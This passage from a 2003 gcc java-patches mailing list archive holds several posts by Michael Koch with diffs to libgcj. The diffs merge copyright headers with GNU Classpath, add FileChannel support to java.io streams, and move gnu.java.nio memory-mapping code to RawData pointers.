not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.io; import gnu.gcj.convert.UnicodeToBytes; diff -Nau /home/mkoch/src/gcc-cvs/libjava//java/io/PrintStream.java /home/mkoch/src/gcc-work/libjava//java/io/PrintStream.java --- /home/mkoch/src/gcc-cvs/libjava//java/io/PrintStream.java 2001-04-02 23:16:38.000000000 +0200 +++ /home/mkoch/src/gcc-work/libjava//java/io/PrintStream.java 2003-03-20 08:39:52.000000000 +0100 @@ -1,12 +1,40 @@ -// PrintStream.java - Print string representations +/* PrintStream.java -- OutputStream for printing output + Copyright (C) 1998, 1999, 2001, 2003 Free Software Foundation, Inc. -/* Copyright (C) 1998, 1999, 2001 Free Software Foundation +This file is part of GNU Classpath. - This file is part of libgcj. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.io; import gnu.gcj.convert.UnicodeToBytes; diff -Nau /home/mkoch/src/gcc-cvs/libjava//java/io/RandomAccessFile.java /home/mkoch/src/gcc-work/libjava//java/io/RandomAccessFile.java --- /home/mkoch/src/gcc-cvs/libjava//java/io/RandomAccessFile.java 2003-01-08 16:42:38.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava//java/io/RandomAccessFile.java 2003-03-20 08:40:21.000000000 +0100 @@ -1,12 +1,40 @@ -// RandomAccessFile.java +/* RandomAccessFile.java -- Class supporting random file I/O + Copyright (C) 1998, 1999, 2001, 2002, 2003 Free Software Foundation, Inc. -/* Copyright (C) 1998, 1999, 2001, 2002 Free Software Foundation +This file is part of GNU Classpath. - This file is part of libgcj. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.io; --Boundary-00=_cKXe+O8UHv/Ou+N-- From java-patches-return-6541-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 20 07:56:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3582 invoked by alias); 20 Mar 2003 07:56:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3574 invoked from network); 20 Mar 2003 07:56:34 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by sources.redhat.com with SMTP; 20 Mar 2003 07:56:34 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-67-203.ewetel.net [80.228.67.203]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2K7uWjL007151 for ; Thu, 20 Mar 2003 08:56:33 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vutS-0004qN-00 for ; Thu, 20 Mar 2003 08:55:18 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io - file channel access Date: Thu, 20 Mar 2003 08:57:30 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_qRXe+09MhhiCzCV" Message-Id: <200303200857.30540.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_qRXe+09MhhiCzCV Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commit the attached patch to trunk to add file channel support=20 java.io. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+eXRqWSOgCCdjSDsRAoFFAKCOu98NU6NyKE0MGakCJ5tGDpv7+QCdH6jI 0h+ZUJAxQqWHd62dv4LYvaw=3D =3Dah1s =2D----END PGP SIGNATURE----- --Boundary-00=_qRXe+09MhhiCzCV Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1761 diff -u -r1.1761 ChangeLog --- ChangeLog 2 Mar 2003 21:25:59 -0000 1.1761 +++ ChangeLog 2 Mar 2003 22:20:32 -0000 @@ -1,5 +1,18 @@ 2003-03-02 Michael Koch + * java/io/FileInputStream.java + (getChannel): New implementation. + * java/io/FileOutputStream.java + (ch): New member variable. + (getChannel): Implemented. + * java/io/RandomAccessFile.java + (RandomAccessFile): Throws FileNotFoundException instead of + IOException. + (getChannel): New method. + (ch): New member variable. + +2003-03-02 Michael Koch + * java/net/NetPermission.java: Merged copyright with classpath. Index: java/io/FileInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileInputStream.java,v retrieving revision 1.9 diff -u -r1.9 FileInputStream.java --- java/io/FileInputStream.java 4 Jan 2003 00:08:11 -0000 1.9 +++ java/io/FileInputStream.java 2 Mar 2003 22:20:32 -0000 @@ -9,6 +9,7 @@ package java.io; import java.nio.channels.FileChannel; +import gnu.java.nio.FileChannelImpl; /** * @author Warren Levy @@ -99,6 +100,12 @@ public FileChannel getChannel () { - return ch; + synchronized (this) + { + if (ch == null) + ch = new FileChannelImpl (fd, false, this); + + return ch; + } } } Index: java/io/FileOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileOutputStream.java,v retrieving revision 1.5 diff -u -r1.5 FileOutputStream.java --- java/io/FileOutputStream.java 20 Nov 2002 16:19:05 -0000 1.5 +++ java/io/FileOutputStream.java 2 Mar 2003 22:20:32 -0000 @@ -11,6 +11,7 @@ package java.io; import java.nio.channels.FileChannel; +import gnu.java.nio.FileChannelImpl; /** * @author Tom Tromey @@ -93,11 +94,18 @@ fd.close(); } - // Instance variables. - private FileDescriptor fd; - public FileChannel getChannel () { - return null; + synchronized (this) + { + if (ch == null) + ch = new FileChannelImpl (fd, true, this); + + return ch; + } } + + // Instance variables. + private FileDescriptor fd; + private FileChannel ch; } Index: java/io/RandomAccessFile.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/RandomAccessFile.java,v retrieving revision 1.8 diff -u -r1.8 RandomAccessFile.java --- java/io/RandomAccessFile.java 13 Aug 2002 23:10:11 -0000 1.8 +++ java/io/RandomAccessFile.java 2 Mar 2003 22:20:32 -0000 @@ -10,6 +10,9 @@ package java.io; +import java.nio.channels.FileChannel; +import gnu.java.nio.FileChannelImpl; + /** * @author Tom Tromey * @date September 25, 1998 @@ -50,7 +53,8 @@ return fd.length(); } - public RandomAccessFile (String fileName, String mode) throws IOException + public RandomAccessFile (String fileName, String mode) + throws FileNotFoundException { int fdmode; if (mode.compareTo ("r") == 0) @@ -73,7 +77,7 @@ in = new DataInputStream (new FileInputStream (fd)); } - public RandomAccessFile (File file, String mode) throws IOException + public RandomAccessFile (File file, String mode) throws FileNotFoundException { this (file.getPath(), mode); } @@ -248,10 +252,21 @@ out.writeUTF(s); } + public FileChannel getChannel () + { + synchronized (this) + { + if (ch == null) + ch = new FileChannelImpl (fd, true, this); + + return ch; + } + } // The underlying file. private FileDescriptor fd; // The corresponding input and output streams. private DataOutputStream out; private DataInputStream in; + private FileChannel ch; } --Boundary-00=_qRXe+09MhhiCzCV-- From java-patches-return-6542-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 20 08:27:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17425 invoked by alias); 20 Mar 2003 08:27:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17053 invoked from network); 20 Mar 2003 08:21:31 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 20 Mar 2003 08:21:31 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-246.ewetel.net [80.228.73.246]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2K8LS8G005513 for ; Thu, 20 Mar 2003 09:21:29 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vvHa-0004s8-00 for ; Thu, 20 Mar 2003 09:20:14 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.net - copyright statements merged Date: Thu, 20 Mar 2003 09:22:25 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_BpXe+xgii9iefKQ" Message-Id: <200303200922.25885.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_BpXe+xgii9iefKQ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited this patch to trunk to merge the copyright statements of=20 some classes in java.net with classpath to make it easier to merge=20 them. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+eXpBWSOgCCdjSDsRAkLIAJsE09d7IsLkpBrFGRrYsM4nN+n85wCgnxme AreRCP7wsDTF/ikwjDPj6iY=3D =3Dk6Qb =2D----END PGP SIGNATURE----- --Boundary-00=_BpXe+xgii9iefKQ Content-Type: text/x-diff; charset="iso-8859-15"; name="net.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="net.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1793 diff -u -r1.1793 ChangeLog --- ChangeLog 20 Mar 2003 07:54:24 -0000 1.1793 +++ ChangeLog 20 Mar 2003 08:19:13 -0000 @@ -1,5 +1,14 @@ 2003-03-20 Michael Koch + * java/net/InetAddress.java, + java/net/JarURLConnection.java, + java/net/PlainDatagramSocketImpl.java, + java/net/PlainSocketImpl.java, + java/net/URLConnection.java: + Merged copyright statements with classpath for easier merging. + +2003-03-20 Michael Koch + * java/io/FileInputStream.java (getChannel): New implementation. * java/io/FileOutputStream.java Index: java/net/InetAddress.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/InetAddress.java,v retrieving revision 1.13 diff -u -r1.13 InetAddress.java --- java/net/InetAddress.java 7 Dec 2002 01:19:02 -0000 1.13 +++ java/net/InetAddress.java 20 Mar 2003 08:19:13 -0000 @@ -1,12 +1,40 @@ -// INetAddress.java -- An Internet Protocol (IP) address. +/* InetAddress.java -- Class to model an Internet address + Copyright (C) 1998, 1999, 2002 Free Software Foundation, Inc. -/* Copyright (C) 1998, 1999, 2000, 2002 Free Software Foundation +This file is part of GNU Classpath. - This file is part of libgcj. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.net; Index: java/net/JarURLConnection.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/JarURLConnection.java,v retrieving revision 1.11 diff -u -r1.11 JarURLConnection.java --- java/net/JarURLConnection.java 9 Dec 2002 00:04:00 -0000 1.11 +++ java/net/JarURLConnection.java 20 Mar 2003 08:19:13 -0000 @@ -1,10 +1,40 @@ -/* Copyright (C) 1999, 2000, 2002 Free Software Foundation +/* JarURLConnection.java -- Class for manipulating remote jar files + Copyright (C) 1998 Free Software Foundation, Inc. - This file is part of libgcj. +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.net; Index: java/net/PlainDatagramSocketImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/PlainDatagramSocketImpl.java,v retrieving revision 1.15 diff -u -r1.15 PlainDatagramSocketImpl.java --- java/net/PlainDatagramSocketImpl.java 25 Sep 2002 05:05:06 -0000 1.15 +++ java/net/PlainDatagramSocketImpl.java 20 Mar 2003 08:19:13 -0000 @@ -1,12 +1,40 @@ -// PlainDatagramSocketImpl.java - Implementation of DatagramSocketImpl. +/* PlainDatagramSocketImpl.java -- Default DatagramSocket implementation + Copyright (C) 1998, 1999, 2001 Free Software Foundation, Inc. -/* Copyright (C) 1999, 2002 Free Software Foundation +This file is part of GNU Classpath. - This file is part of libgcj. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.net; import java.io.IOException; Index: java/net/PlainSocketImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/PlainSocketImpl.java,v retrieving revision 1.15 diff -u -r1.15 PlainSocketImpl.java --- java/net/PlainSocketImpl.java 18 Nov 2002 14:55:54 -0000 1.15 +++ java/net/PlainSocketImpl.java 20 Mar 2003 08:19:14 -0000 @@ -1,12 +1,40 @@ -// PlainSocketImpl.java - Implementation of SocketImpl. +/* PlainSocketImpl.java -- Default socket implementation + Copyright (C) 1998, 1999 Free Software Foundation, Inc. -/* Copyright (C) 1999 , 2002 Free Software Foundation +This file is part of GNU Classpath. - This file is part of libgcj. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.net; Index: java/net/URLConnection.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/URLConnection.java,v retrieving revision 1.14 diff -u -r1.14 URLConnection.java --- java/net/URLConnection.java 10 Mar 2003 14:48:09 -0000 1.14 +++ java/net/URLConnection.java 20 Mar 2003 08:19:14 -0000 @@ -1,13 +1,40 @@ -// URLConnection.java - Superclass of all communications links between -// an application and a URL. +/* URLConnection.java -- Abstract superclass for reading from URL's + Copyright (C) 1998, 2002 Free Software Foundation, Inc. -/* Copyright (C) 1999, 2000 Free Software Foundation +This file is part of GNU Classpath. - This file is part of libgcj. +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.net; --Boundary-00=_BpXe+xgii9iefKQ-- From java-patches-return-6543-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Mar 20 11:15:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22062 invoked by alias); 20 Mar 2003 11:15:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22055 invoked from network); 20 Mar 2003 11:15:46 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 20 Mar 2003 11:15:46 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-66-050.ewetel.net [80.228.66.50]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2KBFfjL005063 for ; Thu, 20 Mar 2003 12:15:41 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vy09-00051S-00 for ; Thu, 20 Mar 2003 12:14:25 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: gnu.java.nio - using RawData Date: Thu, 20 Mar 2003 12:16:36 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_UMae+QbBdBovPgA" Message-Id: <200303201216.37064.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_UMae+QbBdBovPgA Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to make gnu.java.nio use=20 RawData for pointers. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+eaMVWSOgCCdjSDsRAoCVAJ0XOnyajWMobfjFdazXADBnOruEBQCfUgOD CWeHob1sq12ZQjsiIclCNkU=3D =3DJl8w =2D----END PGP SIGNATURE----- --Boundary-00=_UMae+QbBdBovPgA Content-Type: text/x-diff; charset="iso-8859-15"; name="nio.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nio.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1794 diff -u -r1.1794 ChangeLog --- ChangeLog 20 Mar 2003 08:19:57 -0000 1.1794 +++ ChangeLog 20 Mar 2003 11:13:41 -0000 @@ -1,5 +1,37 @@ 2003-03-20 Michael Koch + * gnu/java/nio/FileChannelImpl.java + (address): Removed. + (map_address): New member variable. + (length): Make it package private. + (fd): Make it package private. + (buf): Make it package private. + (file_obj): Make it package private. + (FileChannelImpl): New constructor. + (nio_mmap_file): Use RawData instead of long. + (nio_munmap_file): Use RawData instead of long. + (nio_msync): Use RawData instead of long. + (implCloseChannel): New implementation using map_address. + (read): Reformated. + (map): Implemented. + (create_direct_mapped_buffer): Implemented, use RawData, throws + IOException. + (force): Use map_address instead of address. + * gnu/java/nio/MappedByteFileBuffer.java + (address): Removed. + (map_address): New member variable. + (MappedByteFileBuffer): Use map_address instead of address, reformated. + (several methods): Use map_address instead of address, replaced long + with RawData where appropriate. + * gnu/java/nio/natFileChannelImpl.cc + (nio_mmap_file): Replaced long with RawData. + (nio_munmap_file): Replaced long with RawData. + (nio_msync): Replaced long with RawData. + * gnu/java/nio/natMappedByteFileBuffer.cc + (several methods): Replaced long with RawData where appropriate. + +2003-03-20 Michael Koch + * java/net/InetAddress.java, java/net/JarURLConnection.java, java/net/PlainDatagramSocketImpl.java, Index: gnu/java/nio/FileChannelImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/FileChannelImpl.java,v retrieving revision 1.3 diff -u -r1.3 FileChannelImpl.java --- gnu/java/nio/FileChannelImpl.java 2 Mar 2003 15:57:13 -0000 1.3 +++ gnu/java/nio/FileChannelImpl.java 20 Mar 2003 11:13:41 -0000 @@ -52,6 +52,7 @@ import java.nio.channels.NonWritableChannelException; import java.nio.channels.ReadableByteChannel; import java.nio.channels.WritableByteChannel; +import gnu.gcj.RawData; /** * This file is not user visible ! @@ -63,11 +64,14 @@ public class FileChannelImpl extends FileChannel { - public long address; - public int length; - public FileDescriptor fd; - public MappedByteBuffer buf; - public Object file_obj; // just to keep it live... + // GCJ LOCAL: This variable stores a pointer to the memory + // where the file is mapped. + RawData map_address; + + int length; + FileDescriptor fd; + MappedByteBuffer buf; + Object file_obj; // just to keep it live... public FileChannelImpl (FileDescriptor fd, boolean write, Object obj) { @@ -80,24 +84,27 @@ this.file_obj = obj; } + public FileChannelImpl () + { + this (new FileDescriptor (-1), true, null); + } + private native long implPosition (); private native FileChannel implPosition (long newPosition); private native FileChannel implTruncate (long size); - private native long nio_mmap_file (long pos, long size, int mode); - private native void nio_unmmap_file (long address, int size); - private native void nio_msync (long address, int length); + private native RawData nio_mmap_file (long pos, long size, int mode); + private native void nio_unmmap_file (RawData map_address, int size); + private native void nio_msync (RawData map_address, int length); public native long size () throws IOException; protected void implCloseChannel() throws IOException { - // FIXME - - if (address != 0) + if (map_address != null) { - //nio_unmmap_file (fd, address, (int) length); - address = 0; + nio_unmmap_file (map_address, (int) length); + map_address = null; } if (file_obj instanceof RandomAccessFile) @@ -126,9 +133,9 @@ throw new EOFException("file not mapped"); } - for (int i=0; i Integer.MAX_VALUE) throw new IllegalArgumentException (); -// int cmode = mode.m; -// address = nio_mmap_file (fd, position, size, cmode); -// length = size; -// buf = new MappedByteFileBuffer (this); -// return buf; - return null; + int cmode = mode.m; + map_address = nio_mmap_file (position, size, cmode); + length = (int) size; + buf = new MappedByteFileBuffer (this); + return buf; } - static MappedByteBuffer create_direct_mapped_buffer (long address, + static MappedByteBuffer create_direct_mapped_buffer (RawData map_address, long length) + throws IOException { -// FileChannelImpl ch = new FileChannelImpl (-1, null); -// ch.address = address; -// ch.length = (int) length; -// ch.buf = new MappedByteFileBuffer (ch); -// return ch.buf; - return null; + FileChannelImpl ch = new FileChannelImpl (); + ch.map_address = map_address; + ch.length = (int) length; + ch.buf = new MappedByteFileBuffer (ch); + return ch.buf; } public long write (ByteBuffer[] srcs) @@ -253,7 +259,7 @@ // FIXME: What to do with metaData ? - nio_msync (address, length); + nio_msync (map_address, length); } public long transferTo (long position, long count, WritableByteChannel target) Index: gnu/java/nio/MappedByteFileBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/MappedByteFileBuffer.java,v retrieving revision 1.2 diff -u -r1.2 MappedByteFileBuffer.java --- gnu/java/nio/MappedByteFileBuffer.java 11 Mar 2003 10:30:52 -0000 1.2 +++ gnu/java/nio/MappedByteFileBuffer.java 20 Mar 2003 11:13:41 -0000 @@ -46,11 +46,12 @@ import java.nio.ShortBuffer; import java.nio.MappedByteBuffer; import java.io.IOException; +import gnu.gcj.RawData; final public class MappedByteFileBuffer extends MappedByteBuffer { - public long address; + RawData map_address; boolean readOnly; boolean direct; public FileChannelImpl ch; @@ -60,13 +61,17 @@ super ((int) ch.size (), (int) ch.size (), 0, -1); this.ch = ch; - address = ch.address; - try { - long si = ch.size() / 1; - limit((int)si); - } catch (IOException e) { - System.err.println("failed to get size of file-channel's file"); - } + map_address = ch.map_address; + + try + { + long si = ch.size () / 1; + limit ((int) si); + } + catch (IOException e) + { + System.err.println ("failed to get size of file-channel's file"); + } } public MappedByteFileBuffer (MappedByteFileBuffer b) @@ -76,7 +81,7 @@ this.readOnly = b.isReadOnly (); this.ch = b.ch; - address = b.address; + map_address = b.map_address; limit (b.limit ()); } @@ -87,57 +92,59 @@ public static native byte nio_read_Byte_file_channel (FileChannelImpl ch, int index, int limit, - long address); + RawData map_address); public static native void nio_write_Byte_file_channel (FileChannelImpl ch, int index, int limit, byte value, - long address); + RawData 